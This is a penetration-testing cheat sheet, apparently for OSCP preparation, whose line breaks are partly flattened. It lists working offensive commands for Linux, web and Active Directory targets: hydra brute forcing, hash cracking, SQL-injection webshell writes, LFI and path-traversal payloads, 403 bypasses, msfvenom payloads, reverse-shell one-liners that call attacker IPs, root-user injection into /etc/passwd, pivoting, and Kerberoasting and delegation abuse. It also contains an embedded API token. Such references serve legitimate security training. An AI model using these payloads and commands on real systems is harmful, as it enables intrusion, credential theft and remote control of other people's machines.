Inspiration and Credits s4thv1k-oscp-cheatsheet
Linux
Network Enumeration
Ping
How to know if the target is active?ping -c 3 {IP} # https://subinsb.com/default-device-ttl-values/Nmap
nmap -p- --open --min-rate 5000 -sS -n -vvv -Pn IP -oG allPorts
nmap -sCV -p 80,443,8080 IP -oN targeted
nmap -sC -sV IP -oN targeted- Add to hosts
echo "10.10.11.252 domain.htb" | sudo tee -a /etc/hostsTechnology Detection on web
whatweb http://domain.htb/Masscan
# Fast web scanmasscan -p80 {IP ADDRESS}/24 --rate=1000 -e tap0 --router-ip {GATEWAY IP}
masscan -p21,22,139,445 -Pn 192.168.111.0/24 --rate=1000masscan -p21,22,139,445 -Pn 192.168.0.0/16 --rate=10000SMB | TCP/139 | 445
smbmap -H IP
smbclient -L IP -N
smbclient -N -L //10.129.42.253 #list smb sharessmbclient -N //10.129.42.253//users #connect to an smb shareSMTP | TCP/25
# Connect to mail server nc -nv {RHOST} 25
VRFY rootPOP3 | 110
telnet {rhost} 110SSH | TCP/22 | 2222
ssh {USER}@{RHOST}
hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://IP -s 2222 -t 15
# SSH Brute Forcehydra -f -l {USER} -P {pass.txt} ssh://{RHOST}hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2 -t 4 #examplehydra -f -t 16 -L {user.txt} -P {pass.txt} ssh://{RHOST# Dicotrionary Attackhydra -l student -P /usr/share/wordlists/rockyou.txt 192.230.83.3 ssh
# Upload w scpscp file.txt user@IP:/home/user/Desktop
# Download w scpscp user@IP:/home/user/Desktop file.txt
# Download file with scp while sshscp -i id_rsa pepe@domain.htb:/home/pepe/procmon_2024-08-23_00:50:02.db domain.db
# Port Forwardingssh -L 48763:localhost:8080 amay@10.10.11.28
# Pivotin through SSHssh adminuser@10.10.155.5 -i id_rsa -D 9050
#Change the info in /etc/proxychains4.conf also enable "Quiet Mode"proxychains4 crackmapexec smb 10.10.10.0/24 #ExampleAdding SSH Public Key
#This created both id_rsa and id_rsa.pubssh-keygen -t rsa -b 2048 -f racc0x
chmod 700 ~/.sshtouch authorized_keys # create file in ~/.ssh/ and copied content herechmod 600 authorized_keys
ssh user@TARGETIPFTP | TCP/21
ftp 192.168.123.2ftp -A <RHOST>nmap -p21 --script=<name> <IP> #scan ftp w nmap
wget -r ftp://IP
# Download entire FTP directorywget -r ftp://{USER}:{PASS}@{RHOST}/
# Brute force FTPhydra -f -t 16 -l {user} -P {pass.txt} ftp://{RHOST}hydra -f -t 16 -L {user.txt} -P {pass.txt} ftp://{RHOST}
hydra -l pepito -P pass.txt ftp://IP -t 15DNS | UDP/53
dnsenum domain.htb
#DNSRecon Brute Forcednsrecon -d {DOMAIN} -D ~/{BRUTE_LIST.txt} -t brt
gobuster dns -r IP -d Domain -w Wordlist -t 100
# DNS Bruteforce using dnsenumdnsenum megacorpone.com
dnsrecon -d megacorpone.com -t std #standard recondnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list
for ip in $(cat list.txt); do host $ip.megacorpone.com; done #DNS Bruteforcefor ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash bruteforcer to find domain nameOSINT
https://osintframework.com/
# Google hackinghttps://www.exploit-db.com/google-hacking-database
# NetCrafthttps://www.netcraft.com/
# Recon-ng
# Github Searchfilename:users
# Qualys SSL labhttps://www.ssllabs.com/ssltest/
# Shodanhttps://www.shodan.io/
# Security Header Scannerhttps://securityheaders.com/
# Pastebinhttps://pastebin.com/
# theHarvestortheharvester -d {SITE} -b google
# Social Searcherhttps://www.social-searcher.com/
https://pimeyes.com
#Leaked datahttps://dehashed.com/
# Reverse IP LookUp nad morehttps://viewdns.info/
#Subfinderhttps://phonebook.cz
#Passive Scanhttps://github.com/UnaPibaGeek/ctfrGoogle Dorks
https://www.exploit-db.com
inurl:wp-config.php.txtsite:tiner.com filetype:txtintext:tinder.com filetype:pdfsite:*.tinder.comhttps://pentest-tools.comFile Transfer
wget http://HOST:PORT/filecurl http://HOST:PORT/file -o filepython3 -m http.server 8080Password Hash | Cracking
#cracking id_rsa or id_ecdsassh2john id_ecdsa > hashssh2john id_rsa > hash
hashcat -m $number hash wordlists.txt --forcehashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -o found.txt --forcehashcat -m 0 -a 0 -o cracked.txt hash2.txt /usr/share/wordlists/rockyou.txt
ssh2john.py id_rsa > hash#Convert the obtained hash to John format(above link)john hashfile --wordlist=rockyou.txt
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hashjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txtjohn --wordlist=rockyou.txt protected-docx.hash #hash protectedfcrackzip
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip #Cracking zip filesWeb Pentesting
Script-Based Guide to Injection Attacks: SQLi, XSS, Command, XML, and HTML
Domain Enumeration
Dirsearch
dirsearch -u http://url.htb
dirsearch -u http://machine.htb/ --exclude-statuses 404 -o /path/to/output.txtFeroxbuster
feroxbuster -u http://domain.htb
feroxbuster -u http://domain.htb/folder/folder/ -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,js,md
feroxbuster -u http://domain.htb:8000 -m GET, POST
feroxbuster -u http://example.com -w wordlist.txt -x 404
feroxbuster -u http://example.com -w wordlist.txt -o results.txtFfuf
# Virtual Host Fuzzingffuf -u https://FUZZ.domain.htb/ -w /path/to/subdomains.txt -H "Host: FUZZ.domain.htb"
ffuf -c -t 200 -w /usr/share/SecLists/Discovery/Web-Content/direcotry-list-2.3-medium.txt -u https://miwifi.com/FUZZ
# Fuzzing for Content Discovery with Extensions w verbose outputffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://IP:PORT/w2ksvrus/FUZZ.html -e .php,.html,.txt,.bak,.js -v
# Fuzzing GET Parametersffuf -u "https://domain.htb/page.php?FUZZ=value" -w /path/to/paramlist.txt
# fuzzing with multiple parametersffuf -u https://host.com/FUZZ1/FUZZ2 -w /path/to/wordlist1.txt:/path/to/wordlist2.txt
# filter response status codesffuf -u https://host.com/FUZZ -w /path/to/wordlist.txt -fc 404
# Fuzzing with parameter-based LFIffuf -u "https://host.com/page.php?file=FUZZ" -w /path/to/lfipayloads.txt
# Fuzzing with a proxyffuf -u https://domain.com/FUZZ -w /path/to/wordlist.txt -x http://127.0.0.1:8080
# filter response sizeffuf -u https://domain.com/FUZZ -w /path/to/wordlist.txt -fs 1234
# match status codesffuf -u https://domain.com/FUZZ -w /path/to/wordlist.txt -mc 200,301,302Wfuzz
wfuzz -c --hc=404,403 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt https://miwifi.com/FUZZ/
wfuzz -c --hw=6515 -t 200 -z range,1-20000 'https://mi.com/shop/buy/detail?product_id=FUZZ'
wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/direcotry-list-2.3-medium.txt -z list,txt-php http://admin.domain.htb/directory/FUZZ.FUZ2Z #fuzz - txt,phpGobuster
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
gobuster dir -u https://miwifi.com/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --add-slash -b 403,404 -x php,html,txt
gobuster dir -u https://miwifi.com/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x html -s 200 -b ''whatweb http://url.htbwhatweb -l http://url.htb #list all pluginswhatweb -a http://url.htb -v # verbose- Wappalyzer
Curl
curl -I "http://${TARGET}"
curl -s -X GET "http://sub.domain.htb/102834710284/file.php?action=show&site=FUZZ&password=12345&session=" # fuzz in page
curl -X GET "http://domain.htb/_framework/file.dll" -H "Host: domain.htb" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" -H "X-Skipper-Proxy: http://127.0.0.1:5000" -H "Connection: close" --output file.dll #download file while BurpSuite with an vuln SSRFcurl -v http://<DOMAIN> # verbose outputcurl -X POST http://<DOMAIN> # use POST methodcurl -X PUT http://<DOMAIN> # use PUT methodcurl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd # use --path-as-is to handle /../ or /./ in the given URLcurl --proxy http://127.0.0.1:8080 # use proxyOpenSSL
openssl s_client -connect tinder.com:443 #Verifi Certificate WebCertificate SSL
sslscan domain.comDroopescan | Drupal | CMS
droopescan scan drupal --url http://ip:8080Joomscan | joomla | CMS
perl joomscan.pl -u http://domain.htb/
droopescan scan joomla --url http://site
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://github.com/ajnik/joomla-bruteforceMagescan | Magento | CMS
php magescan.phar scan:all http://name.htb/Wpscan | Wordpress | CMS
# Basic usagewpscan --url http://domain.htb:8080
wpscan --url "domain.htb" --verbose
#search plugins & userswpscan --url http://domain.htb:8080 -e vp,uwpscan --url http://domain.htb:8080 --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.log
#Brute Force Attackwpscan --url http://domain.htb -U admin -P /usr/share/wordlists/rockyou.txt
# Add Wpscan API to get the details of vulnerabilties.wpscan --url http://alvida-eatery.org/ --api-token NjnoSGZkuWDve0fDjmmnUNb1ZnkRw6J2J1FvBsVLPkASubdomain Enumeration
Ffuf
ffuf -u http://IP -H "Host: FUZZ.domain.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
ffuf -c -u "http://domain.htb" -H "host: FUZZ.domain.htb" -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -fc 301,302 -mc allGobuster
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txtWfuzz
wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --hc 400,403,404,302 -H "Host: FUZZ.blazorized.htb" -u http://blazorized.htb -t 100Dealing with Passwords
admin:adminadministrator:rootAdministrator:rootroot:admin
passwordpassword1Password1Password@123password@123adminadministratoradmin@12312345678- BruteForce
hydra -L users.txt -P password.txt <IP or domain> http-{post/get}-form "/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do capture the response for detailed info.
#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!#Application takes some time to reload, here it is 3 secondshttp://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //- Manual Code Execution
kali> impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth #To loginEXECUTE sp_configure 'show advanced options', 1;RECONFIGURE;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;#Now we can run commandsEXECUTE xp_cmdshell 'whoami';
#Sometimes we may not have direct access to convert it to RCE from web, then follow below steps' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file#Now we can exploit ithttp://192.168.45.285/tmp/webshell.php?cmd=id #Command execution- SQLMap - Automated Code execution
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmationsqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database
#OS Shell# Obtain the Post request from Burp suite and save it to post.txtsqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp" #/var/www/html/tmp is the writable folder on target, hence we're writing therePath Traversal | OWASP TOP 10
cat /etc/passwd #displaying content through absolute pathcat ../../../etc/passwd #relative path
# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like thiscat ../../etc/passwd
#In web int should be exploited like this, find a parameters and test it outhttp://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd#check for id_rsa, id_ecdsa#If the output is not getting formatted properly then,curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#For windowshttp://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive- URL Encodign
#Sometimes it doesn't show if we try path, then we need to encode themcurl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdLocal File Inclusion | OWASP TOP 10
#At first we needhttp://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami #we're passing a command here
#Reverse shellsbash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shellbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell
#PHP wrappercurl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>"curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.phpLFI | OWASP TOP 10
LFI EXPLOITS
Basic Payloadhttp://example.com/index.php?page=../../../etc/passwdhttp://example.com/index.php?page=../../../../../../../../../../../../etc/shadow
URL Encodinghttp://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Double Encodinghttp://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
UTF-8 Encodinghttp://example.com/index.php?page=%c0%ae%c0% ae/%c0%ae%c0% ae/%c0%ae%c0%ae/etc/passwd
Using Null Byte (%00)http://example.com/index.php?page=../../../etc/passwd%00
From an Existent Folderhttp://example.com/index.php?page=scripts/../../../../../etc/passwd
Path Truncationhttp://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd SECURE CYBER EXPERIENCE
Using PHP Wrappers: filterhttp://example.com/index.php?page=php://filter/read-string.rot13/resource=config.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
Using PHP Wrappers: zlibhttp://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow
Using PHP Wrappers: zipecho "<pre><?php system($_GET['cmd']); ?></pre>"> payload.php;zip payload.zip payload.php;mv payload.zip shell.jpg;rm payload.phpBypass 403 (Forbidden)
1. X-Original-URL:# GET /anything HTTP/1.1# Host: target.com2. Appending %2e after the first slash# http://target.io/admin => 403# http://target.io/%2e/admin => 200
3. Try add dot (.) slash (/) and semicolon(;) in the URL# http://target.io/admin => 403# http://target.io/admi/. => 200# http://target.io//admi// => 200# http://target.io/./admi/.. => 200# http://target.io/;/admi/ => 200# http://target.io/.;/admi/ => 200# http://target.io//;//admi/ => 200
4. Add "..;/" after the directory name# http://target.io/admin# http://target.io/admin..;/
1. Try to uppercase the alphabet in the url# http://target.io/aDmINNetcat | Nc
rlwrap nc -nlvp 9000
nc -lvnp 9001
nc -nv 192.168.1.1 80 #Just in case if nmap unable to pull a serviceSearchsploit
searchsploit <name>searchsploit -m windows/remote/46697.py #Copies the exploit to the current locationReverse Shells w MSFVenom
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.aspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.warmsfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.phpOne Line
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
nc -e /bin/bash 10.10.14.16 7777
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
/bin/bash -c 'exec bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'<?php system(\$_GET['cmd']);?><?PHP echo system("bash -c 'bash -i >& /dev/tcp/10.10.14.88/7777 0>&1'");?><?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>#For powershell use the encrypted tool that's in Tools folder
# NOTE: Windows onlyruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'https://www.revshells.com/ https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
Exiftool
exiftool img.pngexiftool *.pdfLinux Privilege Escalation
Linux Enumeration Commands
#list the name of the host/Display all network addresses of the hosthostname -I#uname -acat /proc/version # prints almost same infor of above command but more like gcc version....cat /etc/crontab #Cron Jobscat /etc/issue # exact version on the OS
ps # lists the processes that are running ps -A # all running processes ps axjf # process tree ps aux # displays processes with the users as well
env # shows all the environment variablesudo -l # lists the commands that any user run as root without passwordgroups # lists the groups that current user is inid # lists id of group,user
cat /etc/passwd - displays all the user cat /etc/passwd | cut -d ":" -f 1 # removes other stuff & only displays users ls /home - displays users
bash -p
history - previously ran commands which might have some sensitive infoifconfig (or) ip a (or) ip route - network related information
netstat - network route netstat -a # all listening and established connection netstat -at # tcp connections netstat -au # udp connections netstat -l # listening connections netstat -s # network statistics netstat -tp # connections with service name and pid we can also add "l" for only listening ports netstat -i # interface related information netstat -ano
find command which helps us in finding lot of stuff,
Syntax: find <path> <options> <regex/name> find . -name flag1.txt # find the file named “flag1.txt” in the current directory find /home -name flag1.txt # find the file names “flag1.txt” in the /home directory find / -type d -name config # find the directory named config under “/” find / -type f -perm 0777 # find files with the 777 permissions (files readable, writable, and executable by all users) find / -perm a=x # find executable files find /home -user frank # find all files for user “frank” under “/home” find / -mtime 10 # find files that were modified in the last 10 days find / -atime 10 # find files that were accessed in the last 10 day find / -cmin -60 # find files changed within the last hour (60 minutes) find / -amin -60 # find files accesses within the last hour (60 minutes) find / -size 50M # find files with a 50 MB size find / -writable -type d 2>/dev/null # Find world-writeable folders find / -perm -222 -type d 2>/dev/null # Find world-writeable folders find / -perm -o w -type d 2>/dev/null # Find world-writeable folders find / -perm -o x -type d 2>/dev/null # Find world-executable folders We can also find programming languages and supported languages: find / -name perl*, find / -name python*, find / -name gcc* ...etc find / -perm -u=s -type f 2>/dev/null # Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user. This is important!
#Check commands you can execute with sudosudo -l#Check Group idid#Check folder permissionsls -la#Check root processps -ef | grep root#Search write-able servicesls -la $(find . -type s -writable 2>/dev/null)#Search write-able filesls -la $(find . -type f -writable 2>/dev/null)#delete fileshred -zun 10 -v file.php#Find all SUID binariesfind / -perm -4000 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullfind / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -writable -type d 2>/dev/nulldpkg -l #Installed applications on debian systemcat /etc/fstab #Listing mounted driveslsblk #Listing all available driveslsmod #Listing loaded driversgetcap -r / 2>/dev/null #Capabilitieswatch -n 1 "ps -aux | grep pass" #Checking processes for credentialssudo tcpdump -i lo -A | grep "pass" #Password sniffing using tcpdump
# List All Users on a Systemcat /etc/passwd# Search Passwordsgrep -irE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' * 2>/dev/null# List All Users on a System (cleaner, only users)awk –F’:‘ ’{ print $1}’ /etc/passwd# List All Logged in Userswho | awk ‘{print $1}’ | sort | uniq | tr ‘\n’ ‘ ’# Find files modified < 1 dayfind . -mtime -1find / -mtime -1# Find files modified < 5 minfind . -mmin -5find / -mmin -5# Find files within date rangefind / -newermt 2022-09-15 ! -newermt 2022-09-19 -type f 2>/dev/null# Web filesls -alhR /var/www/ 2>/dev/nullls -alhR /srv/www/htdocs/ 2>/dev/nullls -alhR /usr/local/www/apache22/data/ls -alhR /opt/lampp/htdocs/ 2>/dev/null# Creating entry for /etc/passwdopenssl passwd -1 -salt ignite pass123> $1$ignite$3eTbJm98O9Hz.k1NTdNxe1echo "temp:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> /etc/passwdsu temppass pass123# OSCP Flag Proofcat /root/proof.txt && whoami && hostname && ip addrPivoting
# For this you need to configuration the proxychains.conf./chisel server -p 1234 --reverse #attacker machine .1./chisel client {IP}:1234 R:socks #victim machine .2 - tunnel redirection through a SOCKS socket.
# Remote Port Forwarding./chisel client 10.10.10.1:1234 R:22:20.20.20.3:22 #victim machine .2lsof -i:22 # Identify if the service is run by the port 22
#shh with proxychainsproxychains ssh user@20.20.20.3
./socat TCP-LISTEN:1111,fork TCP:10.10.10.1:6150 #victim machine .2./chisel client 20.20.20.2:1111 R:1111:socks #victim machine .3
./socat TCP-LISTEN:443,fork TCP:20.20.20.2:442 # 20.20.20.3./socat TCP-LISTEN:442,fork TCP:10.10.10.1:441 # 20.20.20.2TTY
python -c 'import pty; pty.spawn("/bin/bash")'python3 -c 'import pty; pty.spawn("/bin/bash")'echo 'os.system('/bin/bash')'/bin/sh -i/bin/bash -iperl -e 'exec "/bin/sh";'Automated Scripts
linPEAS.shLinEnum.shlinuxprivchecker.pyunix-privesc-checkMestaploit: multi/recon/local_exploit_suggesterSensitive Information
cat .bashrcenv #checking environment variableswatch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials#Process related information can also be obtained from PSPYSudo/SUID/Capabilities
sudo -lfind / -perm -u=s -type f 2>/dev/nullgetcap -r / 2>/dev/nullCron Jobs
#Detecting Cronjobscat /etc/crontabcrontab -l
pspy #handy tool to livemonitor stuff happening in Linux
grep "CRON" /var/log/syslog #inspecting cron logsNFS
##Mountable sharescat /etc/exports #On targetshowmount -e <target IP> #On attacker###Check for "no_root_squash" in the output of shares
mount -o rw <targetIP>:<share-location> <directory path we created>#Now create a binary therechmod +x <binary>Tools
PayloadsAllTheThings ExplainShell CrackShadow linPEAS LinEnum LinuxSmartEnum LinuxExploitSuggester GTFO-bins Chisel Socat
Windows
Downloading on Windows
powershell -command Invoke-WebRequest -Uri http://LHOST:LPORT/FILE -Outfile C:\\temp\\FILEiwr -uri http://lhost/file -Outfile filecertutil -urlcache -split -f "http://LHOST/FILE" FILEcopy \\kali\share\file .Command Windows
- Network Enumerate
- Adding Users
- What users belong to groups that allow remote management?
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 2>$null #automating port scan of first 1024 ports in powershell
net user hacker hacker123 /addnet localgroup Administrators hacker /addnet localgroup "Remote Desktop Users" hacker /ADD
# (Depends on Domain Policies)net user /domain #all users in domainnet user username /domain # information on a domain usernet group /domainnet group groupname /domain#File and directoryGet-ChildItem or ls # list files in directorySet-Location or cd # Change directoryNew-Item -ItemType Directory # Create directoryCopy-Item # Copy filesMove-Item # Move/Rename itemsRemove-Item # delete filesGet-Content # View file contentSelect-String # Search file contentNew-Item -ItemType file #Create an empty file# System informationGet-Process # Display running processesGet-ComputerInfo # Display system informationGet-NetIPConfiguration # Show network configuration# User and Permissionswhoami # view current userGet-LocalUser # List users on the systemSet-Acl # Change file permissions(Get-Acl).Access # View file permissionsResolve-DnsName # resolve dns nameGet-NetTCPConnection # view open portsGet-NetAdapter # view network interfaces# Scripting and variables$variable = value # Declare a variable$variable # display variable valuefunction MyFunc {} # Create a functionif ($condition) {} # Conditional statements#Start-Process -Verb RunAs # Run command as adminRDP
xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /cert-ignorexfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /d:<DOMAIN> /cert-ignorexfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboardxfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboardxfreerdp /v:<RHOST> /dynamic-resolution +clipboard /tls-seclevel:0 -sec-nlardesktop <RHOST>showmount
/usr/sbin/showmount -e <RHOST>sudo showmount -e <RHOST>chown root:root sid-shell; chmod +s sid-shellSMB
netexec smb IP
netexec smb 10.10.11.14 -u 'anyname' --sharesnetexec smb 10.10.11.23 -u name -o '' --shares # List folders shares
#crackmapexeccrackmapexec smb 192.168.1.100 -u username -p passwordcrackmapexec smb 192.168.1.100 -u username -p password --shares #lists available sharescrackmapexec smb 192.168.1.100 -u username -p password --users #lists userscrackmapexec smb 192.168.1.100 -u username -p password --all #all informationcrackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific portcrackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific domain
# Search user in based error with file.txtcrackmapexec smb IP -u ../file.txt -p '' --kerberos | tee --/output.txt
# List sharesnetexec smb host/ip -u user -p password --sharesnetexec smb host/ip -u guest -p '' --shares #without passwordnetexec smb host/ip -u guest -p '' -M spider_plus
# Brute Force Rid:netexec smb domain -u djlawkdjlakw -p '' --rid-brute 10000
smbclient -N -L //IP
# Enumerate filessmbclient //ip/share -Nsmbclient //ip/share -U username password
#SMBmapsmbmap -H <target_ip>smbmap -H <target_ip> -u <username> -p <password>smbmap -H <target_ip> -u <username> -p <password> -d <domain>smbmap -H <target_ip> -u <username> -p <password> -r <share_name>
# RID cycle attackslookupsid.py -no-pass 'user@domain.htb' 2000lookupsid.py -no-pass 'guest@rebound.htb' 8000 | grep SidTypeUser | cut -d' # list usersLDAP | TCP/389 & Kerberos | TCP/88
# Kerberoastingcrackmapexec ldap 10.10.10.12 -u admin -p pepito123 --kerberoast kerber.txt
# Kerberoasting without PreAuthGetUserSPNs.p -usersfile ../file.txt -dc-host IP -no-preauth jjones domain.htb/
#List all userscrackmapexec ldap 10.10.10.12 -u admin2 -p pepito123 --users | tee adusers.txt
#Folders sharecrackmapexec ldap 10.10.10.12 -u admin2 -p pepito123 --shares
# search file on based a extensionscrackmapexec ldap 10.10.10.12 -u admin2 -p pepito123 --spider RedirectedFolders$ --pattern txt
# Validate creds w WinRMnetexec winrm rebound.htb -u pepito -p '1234@$$5'# Validate creds w Ldapnetexec ldap rebound.htb -u pepito -p '1234@$$5' -k
# try on both ldap and ldaps, this is first command to run if you dont have any valid credentials.ldapsearch -x -H ldap://<IP>:<port>
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"#CN name describes the info w're collectingldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
#windapsearch.py#for computerspython3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --computers
#for groupspython3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --groups
#for userspython3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --da
#for privileged userspython3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --privileged-users
# gMSA (Group Managed Service Account)netexec ldap dc01.domain.htb -u userprivilege -p password -k --gmsaDelegation Permissions | AD
# Find user accounts with delegation permissions in an Active Directory environment.findDelegation.py domain/user:'password' -dc-ip dc01 -khttps://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained
https://snovvcrash.rocks/2022/03/06/abusing-kcd-without-protocol-transition.html
TGS | Ticket Granting Service
# for SPN (Service Principal Name) (Kerberos)getST.py -dc-ip domain.htb -spn http/dc01.domain.htb -hashes :IP -impersonate administrator domain.htb/'user' -self
# get a TGT as user$getTGT.py 'domain/user$' -hashes :ah9737 -dc-ip domain.htbAttack RBCD
# Resource-Based Constrained Delegation (RBCD)rbcd.py 'domain.htb/user$' -hashes :2787gd8... -delegate-to 'user$' -delegate-from 'user1' -dc-ip dc01 -action 'write' -k -user-ldaps
# Abuse Contrained and RCBDgetST.py domain.htb/user1:'pass' -spn browser/dc01.domain.htb -impersonate 'DC01$'AS-REP Roasting
#As-rep-roastingnetexec ldap domain -u file.txt -p '' --asreproast asrp.txtreGeorg
# Config proxychains to 127.0.0.1 1234 (create a tunnel priv for internal ports of target)$ python reGeorgSocksProxy.py -p 1234 -u http://upload.sensepost.net:8080/tunnel/tunnel.jspSocat
